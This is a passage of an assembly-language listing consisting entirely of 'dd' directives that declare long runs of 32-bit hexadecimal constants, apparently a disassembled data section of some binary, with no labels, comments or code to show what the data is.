		dd 4CE0C31Ch, 93005DF2h, 785C7A0Ah, 0A0481A0h, 0D280B550h
		dd 0EA5841E8h, 0ED98100Bh, 0CED601B8h, 0DAC59A7Ch, 892F6017h
		dd 6371DC2Ch, 0B54AD906h, 0A3403D1h, 6E096AA1h,	0D263C188h
		dd 59610600h, 67E6BFBEh, 6DE72839h, 4CDA45ECh, 0F700EB54h
		dd 10C83C2h, 90754647h,	0E064F864h, 58049270h, 316EEC35h
		dd 124E03C0h, 0EB0029FBh, 8962B65Fh, 90A7DD59h,	2738CC88h
		dd 0F87FE4C9h, 78E039C0h, 5320ACCh, 0A1BF8A86h,	0A8BCD2h
		dd 35E98D76h, 0FD836Eh,	0BFE331C7h, 0E7232FEEh,	62003C9Bh
		dd 78204BF5h, 0B674FEh,	596910E3h, 7EFD043h, 0C58A2284h
		dd 1160CF48h, 5210ACA7h, 80B68862h, 0E12B6181h,	910009CCh
		dd 0DA2C60EDh, 50E5CF3Dh, 1E197CFDh, 804E5B30h,	9A0F66DFh
		dd 0DBEE9EA7h, 58016305h, 8000A3F1h, 258F0A59h,	44089A72h
		dd 0FA004F67h, 34CF7939h, 3EBE668Ch, 0FC066FFDh, 0B1D781B5h
		dd 0B7EDD218h, 0C00DEB99h, 381BC5F9h, 6D05A7D8h, 156CDC4Ah
		dd 83EB1804h, 5DF39C40h, 423002B2h, 4A4421D9h, 300D888Fh
		dd 874B492h, 0EF822F9h,	67C28197h, 0EA614550h, 61D6F3CAh
		dd 0E9F492C0h, 47C38083h, 3BC58802h, 66D18DB5h,	94244h
		dd 0A861905Bh, 303E6420h, 31906C6h, 989034F3h, 0B4445F03h
		dd 0D933E35Dh, 4998D868h, 1D46705Ch, 0C65A0600h, 83804E05h
		dd 470E00D6h, 9ED2938Ah, 0A23E635Bh, 7F1E0013h,	5CC287B2h
		dd 268400E5h, 1207ACB6h, 0E715946Dh, 0BC6BFDh, 56F632F9h
		dd 0F0CD0E8Bh, 467E1813h, 0BD0578C0h, 0E4654503h, 0A0CA9CD3h
		dd 491BD15Dh, 35223C27h, 0C6A70100h, 5A098A8Ch,	0E8020FAEh
		dd 480F1714h, 58038901h, 40022E5h, 753980CCh, 6894C30Ah
		dd 0D5D305E3h, 9984082h, 44CA6275h, 3F60E400h, 7308EE79h
		dd 0D3E30F0Ch, 0FD86F494h, 1773C961h, 0D0A2126h, 9C030326h
		dd 0B7AE5C01h, 2BA9B4A0h, 78EF1DBBh, 5A30F054h,	81C033EAh
		dd 0F795633Ch, 9A4D0E4Bh, 0F100E6D1h, 9FFB8BC2h, 32CE7E04h
		dd 389514CCh, 22E41054h, 7E1F0003h, 29069854h, 0E8C3BBC5h
		dd 32EB35h, 79C96721h, 92FA73Dh, 40478800h, 0B9A3BD7Eh
		dd 4DAB17CCh, 0B762042Bh, 0E85C88E6h, 56310E9h,	0BC892429h
		dd 782162A0h, 0AE406624h, 6AA55F38h, 7B588004h,	67C0E0EFh
		dd 49A30FEDh, 4510F0A2h, 80898867h, 0B29CFCBCh,	0DD00E75Eh
		dd 5F14232Dh, 9FDA068h,	4D024F5Dh, 0CAF9819h, 39A42CD8h
		dd 35D260D8h, 0F6004B44h, 0D5B13A3Ch, 7539FE11h, 8B0A8h
		dd 3B5E40FDh, 652276FAh, 5718FB72h, 18A1A4DEh, 669F26C3h
		dd 0DF8F42C8h, 0E106C11h, 0D80AEADDh, 50FE9E2Dh, 0C5BB46C5h
		dd 78248202h, 314428E4h, 728A1F02h, 87C60B99h, 7054F487h
		dd 91C5A25Ch, 0F5B85A06h, 228979D1h, 8D293AEAh,	8391CCDBh
		dd 86E59F0Fh, 0D88FE320h, 0E40390EBh, 6DBDD151h, 356490FEh
		dd 0E8BF480Ah, 8504504Ch, 81EB6574h, 32E6C5A4h,	22863E0h
		dd 0B446A85Bh, 8963042Dh, 90A2F501h, 25DB524h, 1E629090h
		dd 0E4F8DF40h, 55472238h, 0A1905A05h, 5000ECD3h, 815F1C98h
		dd 0D83D49EAh, 0C0000F22h, 7FDC58F3h, 139B87F6h, 501F92EDh
		dd 0EC0BFC34h, 0CF816031h, 0CC93D56Dh, 45003DA6h, 351FA43h
		dd 0E1C13h, 265C36AEh, 93CDFC98h, 6301C370h, 0A3ADC6CEh
		dd 8980B04Ah, 0DEEEBCABh, 3C008925h, 8BA0A8F5h,	0CFB450h
		dd 0F414A50Ch, 477F3548h, 13D9500h, 9CBFCBE7h, 0D2910078h
		dd 0BA9D1C9Fh, 0FB260312h, 4406A0E9h, 30618F90h, 4FD90CEBh
		dd 1300387Fh, 5B3725B3h, 28EEC71Fh, 148030E7h, 0AC518A9Ch
		dd 418B4A86h, 0E010B000h, 3706EBEFh, 5A722CD8h,	0C7C44590h
		dd 605E124Ch, 0A21C6410h, 0DC4000B4h, 7356E370h, 3431024Eh
		dd 3C6FF27Dh, 6C00CCC6h, 262BE927h, 611E71h, 638B7AEAh
		dd 7CF01FFh, 22A0EC00h,	0F1738CDBh, 151D004Dh, 657CE3D5h
		dd 43008A55h, 4B0350E2h, 38063018h, 0FE45EDh, 0A9AFD6Dh
		dd 833BCCF6h, 37129674h, 508882B5h, 250A725Fh, 0EC027AFDh
		dd 5C643667h, 4D651C0Ch, 0DBC98Ah, 8D8C3528h, 0DE42C97Ch
		dd 9C8823Eh, 40528FB4h,	13D3CFA0h, 2E16746h, 0D1583656h
		dd 0E644048h, 87593E69h, 0D0CAEC18h, 0A3B450h, 0F9D2AD4Fh
		dd 656FDAEEh, 20D4CC26h, 0A7380B82h, 0F0604498h, 676E0A26h
		dd 82C200Dh, 318265FDh,	0E039B2C2h, 1FCC71Dh, 0C54081B8h
		dd 63EEA00Fh, 273A70h, 542D7AC4h, 122B8F6Dh, 880FF163h
		dd 4200CE60h, 31F31B3h,	0A096D3E1h, 90C9F908h, 0AC6C20B8h
		dd 1CDC6B22h, 1D6D68FEh, 0E20C0145h, 60F22CFDh,	0C27B5BE8h
		dd 0AC4AC429h, 80BBA700h, 1686426h, 297BDD3h, 24BEB958h
		dd 444803F0h, 34EC03FBh, 229A4543h, 92F86CE8h, 3D13600h
		dd 150181A7h, 5238C0B8h, 533280B5h, 0AA00CCA6h,	352A8A3Ah
		dd 8B83A058h, 602837FAh, 8DF03BAh, 0E8C9DE16h, 914845A8h
		dd 34052568h, 8308009Dh, 0A676D4Eh, 6B30F0A4h, 268549D5h
		dd 738A007Ah, 0D194A603h, 2E12F9DCh, 0EB07B2B9h, 9890258Bh
		dd 2E423C76h, 1A7C141Dh, 7CC81187h, 0CC2ECE0Bh,	6160283Ah
		dd 0F9C273h, 2E962CB5h
		dd 0B30587D4h, 8AEC243Ch, 905E36F6h, 20A6441h, 65E43980h
		dd 1BD49C05h, 3E508C0h,	3DA55115h, 0FBB8357Fh, 0EC196748h
		dd 0FCBBC1C0h, 0C44B8AA0h, 1D091C44h, 9700ACB2h, 79744282h
		dd 3700CE44h, 86F6699Bh, 1AB0BB5h, 63B4CC08h, 80515D35h
		dd 6B03CF91h, 0F664559Dh, 0FC9A0EC0h, 6341157Fh, 4116FDE3h
		dd 1003095Ch, 922CD1Fh,	185FFC7Dh, 82218064h, 663F00E6h
		dd 98351E89h, 0C356D2A0h, 0A916F303h, 826E14A3h, 1C4C64h
		dd 28056B0h, 45EE7543h,	61854200h, 640B2465h, 658A0D9h
		dd 38E8B180h, 234374Eh,	0D4503E47h, 1078C45Ch, 6B25C586h
		dd 0DA137020h, 25008241h, 5C8A5B0Ah, 1947EB72h,	0E184CC7Dh
		dd 0D0508409h, 40C201C0h, 0E4C01A0Bh, 471EE4CCh, 0FF097F99h
		dd 15A8616Dh, 80B34A11h, 2897ECA1h, 10EE49h, 0D88C99B7h
		dd 85DAB538h, 3690D401h, 0E95A0EA7h, 0E065C8CCh, 44B49631h
		dd 0D64D406Fh, 5CA63DB8h, 204E5779h, 6571850Ch,	30FAD400h
		dd 76C56494h, 0EA357F60h, 27677050h, 0ACB0C0F8h, 3C00A6EFh
		dd 9C7337F0h, 1109D56h,	0D9CDE2F9h, 0C66DB6D8h,	0B026E453h
		dd 81EC5B14h, 6B7AA4C4h, 0E4003C39h, 16CFA2E2h,	3460EAB7h
		dd 0CEB677C1h, 20FD0198h, 75E2F10Ch, 7A02C806h,	7B8BE804h
		dd 0F88887FAh, 350C4403h, 0E1525C37h, 0C8816360h, 632C9022h
		dd 6DFCF92Dh, 56A9211Eh, 362BABC2h, 1086EDFh, 1982A708h
		dd 0E049FD84h, 4D4F6A4Ch, 51F51840h, 0AA9FA96h,	0EB88E2C7h
		dd 9945005Ch, 7276FF16h, 8771B200h, 0FB0D154Ch,	0ECFED5h
		dd 0A0505FF3h, 2B15DFFh, 34224F4Ah, 20281991h, 0AB27984Ch
		dd 0D358A0FDh, 283B8F1h, 0B69A7F62h, 3CC03E71h,	988B81D2h
		dd 2CE5E12h, 354EECDCh,	0D87244EBh, 257F5122h, 4A50B64h
		dd 11C8A46Bh, 80AC1439h, 0C866D7B0h, 0E88D69B3h, 5F5513CCh
		dd 0C0810920h, 0C9E47CE8h, 79B24B30h, 0F3EAE8h,	2E079219h
		dd 0C1740981h, 29D5FF00h, 0E3013CCDh, 404D4E3Ah, 9E639BB0h
		dd 7400F1B5h, 8A367D46h, 0B91FB6Fh, 0EA574385h,	5533B404h
		dd 5C6909CCh, 2B44E9E8h, 925F4440h, 708D4CB4h, 27E9C19Fh
		dd 2848CDBDh, 2CA124B0h, 945D4A60h, 7A1D009Fh, 17B7872Bh
		dd 0F80E5F5Eh, 6079F9AFh, 8DC1ED97h, 9501263h, 0EE47238h
		dd 545B3521h, 6C058033h, 8C6247EDh, 523C9038h, 0D0DB0007h
		dd 0D15FC133h, 10224A23h, 0FD00244Ch, 5DD48259h, 8E00ACECh
		dd 67B56D9h, 283FCB2Bh,	2508DAC7h, 0EC1037FBh, 0D800336Fh
		dd 92F12239h, 0CC87F9h,	8F8C09E9h, 7546429Eh, 0EDF8C905h
		dd 80A22FE5h, 0A1D94518h, 64545DBCh, 68002758h,	0B5D6A9EAh
		dd 763FBB91h, 0A0E54C58h, 7919DC18h, 279871D7h,	45C5E300h
		dd 784E978Eh, 0C04D5C63h, 9B3DC381h, 24F0FA6Ch,	0A0D5D327h
		dd 0E389642Ch, 91F30BD2h, 349AED65h, 84EA6482h,	35C17A11h
		dd 0C09137FCh, 71D48B58h, 0C02EED98h, 0C8B8F4D5h, 0BB400200h
		dd 6C45355Dh, 415F136Ch, 3E4160Eh, 0A3DF3EE8h, 0D8976928h
		dd 3B944C00h, 1EC3E366h, 45FA25A0h, 8464B010h, 0B4ADFF00h
		dd 935055Dh, 602D32B7h,	0B4E4FC50h, 291D2476h, 0CD44B470h
		dd 7CDD0C5Eh, 1325B810h, 19375AEh, 0B3C357AFh, 2E834D28h
		dd 0CFF5D00h, 4E55BEDh,	0DB53CAC8h, 580CA2C0h, 6C7BC148h
		dd 44500A5Dh, 0B488D3D2h, 5FE64470h, 2441825h, 60575919h
		dd 1736B480h, 2000326Dh, 89F216DCh, 253E9CA6h, 0E0250E67h
		dd 0B50481E4h, 9AC238Bh, 0C82A5E4Dh, 13E9CD04h,	93D4BB37h
		dd 0D0880364h, 890446A4h, 88E8BA53h, 3005CB6h, 0D368F113h
		dd 8CE2D22Bh, 0C28860A0h, 78BA6389h, 0CEF0DFA2h, 4513090Bh
		dd 55D8346h, 0B08BD326h, 256A9C24h, 3C9035DBh, 0F31D7D75h
		dd 5A001CB7h, 3C870B62h, 7661C03h, 643740DCh, 94F65CD5h
		dd 35481105h, 9843E758h, 0D3836D59h, 0D3D6E050h, 0A10261EEh
		dd 0C25FF59Bh, 504C3150h, 980CCAA4h, 705A6EC0h,	0F2631D67h
		dd 5229F00Ah, 0D45C8AFEh, 40358EB8h, 16A63139h,	80F4B46Bh
		dd 42A77710h, 2C00F697h, 12F0ABBCh, 0F1D716Dh, 0EC417649h
		dd 2484E309h, 2294507Fh, 40FC5AA8h, 0D84AA70Ch,	0B03853DAh
		dd 284E804Fh, 3AAA92FEh, 0B91107F0h, 0CAFD9D61h, 723580CCh
		dd 0DC3C65E4h, 0B3896700h, 0D560E314h, 66220FFCh, 90008D74h
		dd 0CE2080D2h, 0CB88CC0Fh, 1ADAC06Eh, 2E4B687Ah, 384DE92Bh
		dd 23B420DBh, 5A1C430Bh, 0A46608AAh, 91D1D242h,	788064FCh
		dd 0EAECDBCEh, 4B2D5333h, 8AB0A0FAh, 68DAB0h, 0D0662356h
		dd 801D9889h, 99E61890h, 4FD25240h, 0D90021D5h,	6E1060B1h
		dd 0CB7C988Ah, 0B40D00B8h, 0FC0ABB15h, 0AA3EEA3Bh, 561897F0h
		dd 8BE9C008h, 0D8900264h, 55C801Bh, 0E8EA2A20h,	5B16C807h
		dd 1FDF5935h, 0B456C387h, 0CB047CDAh, 48C24316h, 6EB09095h
		dd 0B2070F83h, 0B487EEA4h, 186551DBh, 0E448887Ah, 0D04B1285h
		dd 0BB13BCA0h, 693AC901h, 0D9D43BB7h, 9AC14061h, 68545D08h
		dd 0CA90E58h, 63191154h, 80D98888h, 9A47833Eh, 0C7DEFD3h
		dd 8EA5570h, 39002439h,	0EB761CFCh, 0FBA590h, 0C65F529Bh
		dd 2D6CA1CEh, 9DCCF000h, 0E5E7EB2Ch, 44943B19h,	0C30628BEh
		dd 8ED4268h, 6042D1Ch, 0FDA67BC0h, 3B6EA763h, 0F6B059AFh
		dd 7E8DFF21h, 93741F18h, 0C05BDC59h, 0E8C1C308h, 7809BF9Eh
		dd 55334851h, 98A6AA80h, 40C0F375h, 9705F62Ch, 0F1570A31h
		dd 11401DE7h, 67C800ECh, 519D82DBh, 49EEB2h, 0D0A0C55Ch
		dd 5ED49FA5h, 0A40CA171h, 7967DDFEh, 0DFFC0010h, 0D042C225h
		dd 666107B3h, 0F2691C59h, 0DB858E07h, 0EA380823h, 81291E8Bh
		dd 274731FCh, 8807D890h, 0DE988058h, 67978443h,	13BA7D00h
		dd 5D56AC80h, 71F90057h, 27ECED33h, 0E018CD60h,	59396244h
		dd 0CF9DEA3h, 0C189FDCFh, 4F973300h, 0B252A29Ch, 0D78E300Dh
		dd 513AE7D6h, 25E5F114h, 0C4631160h, 0DB8FA300h, 0CF4CC676h
		dd 6C5BB300h, 0EDE7BFA0h, 44EA0C69h, 3519CE79h,	28130703h
		dd 0D09FEB4Ch, 8A6C7h, 5AC80D93h, 0DB7DF997h, 16A981EBh
		dd 6A77EC46h, 7FD9741h,	8F40661h, 0CF7A007Eh, 0B430C78Fh
		dd 281FAAC4h, 7EFC09h, 763973A3h, 0BF4CDBh, 42EFE225h
		dd 144EED5Fh, 0EECC8F06h, 28115E6Ah, 30140377h,	67E12107h
		dd 860E5090h, 9E3E9479h, 0B1F617C0h, 95853B8h, 0A342112Ah
		dd 70200Fh, 9E3B8F2Dh, 48AA5EDDh, 0FF2A7990h, 8DC4890h
		dd 75C2180h, 0F38A441h,	6CC060DDh, 1D74583Ch, 8BEFA334h
		dd 0A3805DCAh, 6E92328Eh, 0F6113561h, 0E4418AD2h, 0E8106D43h
		dd 0A524F86Ah, 3F475807h, 0FFC00DE4h, 1DEE7C2h,	0AE8E90B0h
		dd 0C406C9ABh, 0CA0E870Eh, 80862FBEh, 0A20B3B76h, 276C0059h
		dd 0AB353758h, 790098A4h, 0D20C427Ch, 0EF20E5h,	444C161h
		dd 0F7BA637h, 0C2A0A401h, 71FFD596h, 3450B271h,	90476C31h
		dd 0FBD41E75h, 0A5FE0388h, 78906DE3h, 0A8C02C39h, 47293570h
		dd 280160BBh, 0EB6B1CA1h, 534498A4h, 76E400A0h,	9E4C8C03h
		dd 52139FE3h, 0EC1F7375h, 5A727B03h, 5B87809Bh,	1C6C030Bh
		dd 5C45E039h, 0A8594109h, 7414EDh, 9B713C7Fh, 0A2D06C11h
		dd 76002C7Ch, 270CE4B6h, 0CC6644E1h, 3A528841h,	2BAA8100h
		dd 0E0CA6E8Ch, 3064507Eh, 0E1D544A1h, 0DBF14645h, 0C126B20h
		dd 0F9CF2701h, 89054819h, 8880797Eh, 9D29FC00h,	0C0C2771Ch
		dd 2C8FAC21h, 0F091DB27h
		dd 0E6A43F00h, 71635Bh,	4A4EF7E1h, 0A0CD8004h, 0CA27339h
		dd 41C5621Fh, 5097843h,	4BE7B457h, 4972C676h, 0EB0EED7Eh
		dd 4C095C7Ah, 2AE1087Bh, 50746045h, 2A4446Bh, 0F1565D69h
		dd 800F2ADAh, 8F573935h, 26A0436h, 0D0C6A658h, 0E8F15000h
		dd 42291F62h, 9864EEh, 63357675h, 0B5A9AF4Dh, 0CD1A7E12h
		dd 3013100Eh, 0EFA7590Ah, 62884FA0h, 50AB26BEh,	60716B46h
		dd 3AFBA17Eh, 8F48FEE2h, 0CEE10C38h, 373B9F1h, 59E3539Dh
		dd 970948h, 71BDA816h, 93428013h, 0A410FA12h, 82A381C8h
		dd 7B70DBA0h, 3109F0CDh, 7980AAEh, 86D19D18h, 9BE34942h
		dd 9FDEF2h, 0E1D177F1h,	1EE404A5h, 0CB9EBF1Ch, 38196A80h
		dd 29F2E847h, 11881BE7h, 0FB2300E2h, 0F8D30490h, 6C9C0028h
		dd 0A25B0DA1h, 61E21FC2h, 0F299FA61h, 41802BE8h, 0E7B256CDh
		dd 0C767EA4Dh, 28024621h, 0D1B86069h, 34F6746Eh, 0C7696D1Ch
		dd 0C95D41A8h, 8B1180F5h, 0B0962473h, 0DBF90336h, 0EEE34216h
		dd 46402E98h, 8AD04348h, 778EC061h, 1FB8D545h, 0DD827DF8h
		dd 9060DFFBh, 3087CB34h, 0A2287F17h, 5929E7F7h,	7A96E8ADh
		dd 20483838h, 7C00F5DEh, 0A25009BCh, 3927082h, 1768EF63h
		dd 819DA560h, 1029D9C4h, 1503BC7h, 4762CD13h, 30CB63D5h
		dd 0FE24D830h, 0CA8C9CAFh, 894CC964h, 0FDC44807h, 0BA36A100h
		dd 3B56E2F9h, 0FA850026h, 0CCED1A6Bh, 111423DCh, 48180603h
		dd 0C87440E0h, 97E9E602h, 0A41F74EFh, 0D2C1CC0Ch, 0AFCCA234h
		dd 1912043Eh, 81A37DC0h, 15F374A8h, 95448Ch, 6F5CB727h
		dd 47FA21EAh, 253DFB00h, 0B262A06Bh, 0E8430370h, 494FE5A3h
		dd 0EE1B15B0h, 2607A418h, 0EFAE8799h, 0F5AECC8h, 7646E7B7h
		dd 3EF432F2h, 6C4E4404h, 89E8CF86h, 0AA710C00h,	640C405h
		dd 95079A8h, 0DCCA8DC5h, 83696700h, 0B3001DC7h,	0E497F9EFh
		dd 6078FDA4h, 675487Dh,	9602F663h, 0E0B4B8BFh, 15206470h
		dd 8CF1A959h, 9EA35003h, 1102B273h, 709C05F7h, 6C3610F6h
		dd 0AC5D2800h, 0A3303588h, 0BE5A2637h, 227D133Ch, 6C416D44h
		dd 74C6F8A8h, 0A8CBCC2Ch, 0A10A8640h, 0AFE90025h, 0FB55F6A5h
		dd 0B5483E57h, 0AB97126Ah, 0A328EC00h, 4CBE96E7h, 5000ECEBh
		dd 0B5CC7F7Ch, 68167844h, 1427DCB7h, 83BA21F1h,	3BAEEBECh
		dd 8801512Bh, 0DFB26A22h, 6EC3F0ACh, 0D0B174B8h, 9199180h
		dd 18ABC6CAh, 18F73429h, 7F29F82Ah, 0CD0098B4h,	0DE64A3Ch
		dd 27E4A1A4h, 5BE03110h, 0C50902F6h, 90709D6Ah,	4CDD7714h
		dd 0B3E6EBFh, 4845B086h, 0E07B11BBh, 616F8300h,	3D16DA75h
		dd 0F7684C97h, 8CEB40h,	0BA5DC7A8h, 0C3E67A2h, 28600230h
		dd 0DDD36Bh, 0ECEE880Dh, 3755DC4Eh, 0D484AB01h,	9E914B06h
		dd 3DA1E8h, 932AEE77h, 6B091EF2h, 0E20568C3h, 7A490572h
		dd 64F9927h, 89596F91h,	8BF8DD02h, 40F26EBDh, 0E063B238h
		dd 96C60F2Dh, 99C4F3D8h, 640FC0BAh, 59C0155Eh, 918646F7h
		dd 6EA00007h, 44D9FF51h, 0E6F84EF2h, 0FCB8803Bh, 5AC23103h
		dd 1E063228h, 0D3229C39h, 74CACF0h, 39ADEDB6h, 676C23A0h
		dd 0B06D0060h, 0F049DEEh, 8833D76Fh, 0AB8BA98Ah, 1FC878CAh
		dd 0C2145E4Ch, 429E5496h, 0F72B7060h, 9224EB05h, 0A3C05ADBh
		dd 288BE012h, 18A85DB2h, 41E3F064h, 80F16FBAh, 3836D59h
		dd 9EC605h, 547D7C67h, 0A18029CEh, 8DF69507h, 8A4017E8h
		dd 6572E12h, 85D7756Fh,	643C415Eh, 3D5963F3h, 0B9E9000Fh
		dd 8B6DF4EDh, 107C463Eh, 2712AC00h, 0C6516F4Ch,	1552019Bh
		dd 6D4F215Ah, 0F261C894h, 0BE2ADE00h, 0EAD98E4Dh, 0D3FF0249h
		dd 97E34190h, 172ADC8Ch, 1240D1Eh, 9F853130h, 186575ACh
		dd 390AFF50h, 0BE18A5C3h, 0E67097BFh, 8AB09ADh,	40108CD4h
		dd 4552648Bh, 95FC18E8h, 151AFA1h, 0C3A918DFh, 989F1DDDh
		dd 57191510h, 0A08C387h, 71303074h, 5CB20809h, 31B8CC4Fh
		dd 38008310h, 25772BE9h, 78B23FB3h, 47CFA80h, 6A565BA5h
		dd 2D5A80F2h, 8E061068h, 3321D23h, 0A6920F91h, 0AAA09D91h
		dd 528C455Eh, 80533D38h, 6C51E972h, 35DF91A4h, 80D1606Fh
		dd 59FA2DEEh, 0BC1BB700h, 1471D9FEh, 358D2A0Ah,	9D8900D0h
		dd 55F18038h, 9766534h,	0B30040E4h, 134D2564h, 522277F5h
		dd 17058C61h, 40602379h, 0DBEA1808h, 7A2491F1h,	3E3B24E6h
		dd 29206088h, 128DB71Ah, 448C8AD7h, 906E02BCh, 0A5A0D1C0h
		dd 0A26C7004h, 0A88264D2h, 0EE0521C5h, 1529806Dh, 0BB8DF18Bh
		dd 8A591E50h, 0EF04C339h, 200CC5DCh, 7861E67Dh,	26D9C709h
		dd 0C6E483F6h, 0A6BA1102h, 2FCB8A65h, 4B808E60h, 0C40FF3B0h
		dd 0AE1892D1h, 0F15BA015h, 8326E7FFh, 0B464F5D8h, 0E8502262h
		dd 0C6052FC5h, 28B45E32h, 0AE7C00DCh, 7A17CAD5h, 8A005F5h
		dd 1A0C5280h, 315883D4h, 39666002h, 45426FFCh, 0AD15E000h
		dd 0B4BB2497h, 3FD2001Eh, 5D700788h, 0C5034F09h, 1C28352Ah
		dd 9041DD32h, 0BF7BB476h, 0A960F7D6h, 0E100B201h, 99D8805Eh
		dd 9D5DA0h, 649523F5h, 7415A9EEh, 5EBA7701h, 0D3E32872h
		dd 0C0ABCF0h, 0B60C83F6h, 9898EA90h, 5322907Dh,	626F3003h
		dd 0A5B2E4B9h, 2F6DCC00h, 7C33D076h, 0D25E788Ah, 53F00D21h
		dd 11B827B0h, 640A69ECh, 6EF00B52h, 8E230091h, 2704FC53h
		dd 912A002Ch, 730E57DCh, 0FE006A45h, 0EA2E9856h, 3EE9647Eh
		dd 62077594h, 0C1C60C37h, 20818BE2h, 0C039734Ch, 0A28D93F0h
		dd 2B024022h, 0D8797100h, 0D600638Ch, 0DBF2B80Ch, 7A990B6Ch
		dd 85770F25h, 5409AC98h, 0B399C943h, 0EB589082h, 23F37204h
		dd 6C348110h, 0FB2D0015h, 0FE5906E0h, 0D1702F97h, 0ECBA7A1Fh
		dd 283E6F24h, 0EA4C0C07h, 7C332850h, 8047277h, 89D41D53h
		dd 18BDC88h, 9E7C14F2h,	7096F4ABh, 0C778BA98h, 1D5B600h
		dd 0D9623FA2h, 0ED2A0060h, 0DA190227h, 79079241h, 7775953Dh
		dd 636EB3h, 90560651h, 6792FD7Ah, 0BF64C801h, 65021784h
		dd 9CE28980h, 73B160DCh, 69E68100h, 4F8A37C1h, 0A22A0F50h
		dd 45E9581Ah, 1130D028h, 680E7C61h, 60026706h, 0F5147054h
		dd 0BC2A543Dh, 87EB00F6h, 158A1FE5h, 0BE007D5Bh, 11A2C6B4h
		dd 396BA20h, 42472F5h, 14A053EEh, 0DC558D74h, 9A6530E0h
		dd 602FBC31h, 20B92690h, 1B818A00h, 6E8FD416h, 0E73389C0h
		dd 0CF4200Ch, 8EF8B312h, 0BF008F18h, 29ED2E51h,	1616DB4Bh
		dd 5FE69E2h, 0C2D3B864h, 84A2675Bh, 0EEC032C2h,	557B9F42h
		dd 25203C00h, 0E6387E12h, 600D728Ah, 315D9830h,	5B35644Fh
		dd 648CE904h, 0C59A00BEh, 904C23C7h, 52385065h,	0F50C898Fh
		dd 978C101Fh, 0EC704404h, 0B02AE63Ch, 8D8B08EAh, 46091D6h
		dd 805A335Eh, 0AEFA4ECBh, 0A687061Fh, 39490D18h, 0EACF00FDh
		dd 0D6D92570h, 690735F5h, 12BA8140h, 0E056C6h, 307DA934h
		dd 75DA2215h, 8B5FF01Ch, 0AB12F680h, 3C725Ch, 21665D91h
		dd 9FBD01BFh, 6F67F500h, 86FE6413h, 3FD7F2Ah, 9BCE0F7Eh
		dd 0EAF84120h, 0BF0CB769h, 2065FED0h, 4EE249h, 7A2925F6h
		dd 72A93553h, 8037CD37h, 662AC080h, 2D250CE0h, 0DD204DA6h
		dd 396922h, 0D1951546h,	0C30C2AE8h, 36065Ch, 0DCB1B9EDh
		dd 37583A14h, 60D195F9h, 0CF728208h, 40A42430h,	0C0032B3Ah
		dd 8A43DD79h, 3C6054BDh, 4C057D10h, 379A3A18h, 2DCD9B00h
		dd 7AB5E995h, 5E42E400h, 0D9B4DEE6h, 840831F1h,	358CE58h
		dd 356100DCh, 0E70BBE07h
		dd 6E00BC48h, 145DFBF6h, 0E2F959D6h, 5B68C331h,	403E8B08h
		dd 554054h, 35F16F24h, 0B1F2197Eh, 5C79EE19h, 0F81CF611h
		dd 0C995B741h, 7D0E9454h, 0DFE7A683h, 915C26B2h, 58008D79h
		dd 138AB7B3h, 0E6D8C41Eh, 0F3880117h, 91C590A0h, 0CF4DC0C7h
		dd 2BD6C906h, 514CBFh, 0FAAEF6CEh, 6115113Ch, 60B9433Ch
		dd 5CF70959h, 0A4EC5257h, 0C0D1DB1Dh, 0FDF0764Fh, 580A1D2Fh
		dd 0F47BA1D9h, 55413F64h, 0C0A620F4h, 2306A837h, 50A41A54h
		dd 0F7D00079h, 69CF2128h, 0D1286CAAh, 231F08DFh, 1B40F804h
		dd 0BFB46FA8h, 0F35201C4h, 151DB82Ah, 3269E084h, 402D69CFh
		dd 6285E16Fh, 0B45701FDh, 0CA09F859h, 2C46E6A9h, 6012FA00h
		dd 9E23A104h, 1D110714h, 0EAB24213h, 40540A78h,	68BD40B4h
		dd 270B4512h, 8FF90AA2h, 5F15C0DDh, 7B010240h, 93CA306Bh
		dd 37536230h, 58C2B700h, 2E302FB9h, 54A118D1h, 4315149h
		dd 91CBD050h, 2C0AB090h, 9C75273Ah, 1236C442h, 0F4BDC961h
		dd 4B06595Eh, 487602CCh, 4978B528h, 0F0651403h,	0A09B94B4h
		dd 0BB2A52h, 0AA584BD8h, 0CF0A575Bh, 0DD8BFD01h, 0EA2D157Ch
		dd 0A0784AF4h, 0AE0BA0h, 0DEC96D29h, 6E7E7C17h,	62FC0900h
		dd 1A4F22D6h, 882E543Ah, 0FEDC0CA9h, 2A11AC8Eh,	1089BF00h
		dd 0C751E75Ah, 957422Bh, 4132F4Fh, 0DB403BE4h, 5C03C6C8h
		dd 84ED9000h, 1BDA1C79h, 0BE290059h, 45745797h,	0AC91B743h
		dd 7926B100h, 60D72F25h, 0D1618052h, 0EC0091D9h, 562A6A42h
		dd 51950B7h, 2BCE280Bh,	0D00805BEh, 581405F1h, 7D984FFDh
		dd 160B10Ah, 625DDC09h,	5822F7h, 0AC8C8FFCh, 781C19B6h
		dd 86750BCh, 22906Bh, 0C3A88243h, 0DC9BB9EAh, 0D825F00Ch
		dd 2EDB417Eh, 309FE1C7h, 19962A11h, 3877603Ah, 5ACB0048h
		dd 84C71067h, 1F132803h, 68C61DD8h, 0D8C41C54h,	92C5A93Eh
		dd 6017FEFAh, 6E00FB9Eh, 665EC14Ah, 4E37A0Fh, 22010D1Bh
		dd 0F47CC0E2h, 1C06114Ch, 5BDFF7C5h, 0BE6438E1h, 0AFBAE980h
		dd 7A738445h, 0FD007E74h, 0D15A2942h, 24BEF096h, 2910DC85h
		dd 0C0AA1CF4h, 0FE4D18C7h, 0BE24308Ch, 83090F4h, 0A1A510DCh
		dd 0D81033ECh, 9D0C8FA7h, 0F97683A6h, 497A0068h, 31DDF1DCh
		dd 450119E7h, 9DF40B8Ch, 64204737h, 212506C9h, 8C22622Fh
		dd 2A40FD50h, 8048BA4Ch, 0C14D08CAh, 59DF30F0h,	29B25621h
		dd 0D2958A00h, 10115596h, 335A1736h, 243800E5h,	22642F01h
		dd 0F7D15C15h, 91BC212Ch, 0A7DC1138h, 8B1EAC01h, 0D8C230EEh
		dd 0F97F898Ch, 657511F2h, 4A245213h, 24F8D822h,	0B93CC868h
		dd 8138D02h, 40F65769h,	13F41BCCh, 20ECB76Eh, 308EFCDCh
		dd 5EB231C2h, 0A1D88419h, 77FDEF40h, 0B400E6FAh, 5F22670Fh
		dd 0E478C01h, 6A0D8621h, 93CD7923h, 0BBB781A8h,	28F4838h
		dd 6F897CE1h, 0E4622Ch,	3583C32Ch, 21289A73h, 0F003CD3h
		dd 0DBED6EFCh, 54F10264h, 0B64221FDh, 0F03E8C44h, 88E84DE5h
		dd 0DD927Fh, 945F8C0h, 0CD010A7Ch, 0BE23C4C9h, 182330C7h
		dd 3A9D7203h, 39007382h, 27B5565Ah, 87D4B0h, 0B6E4B254h
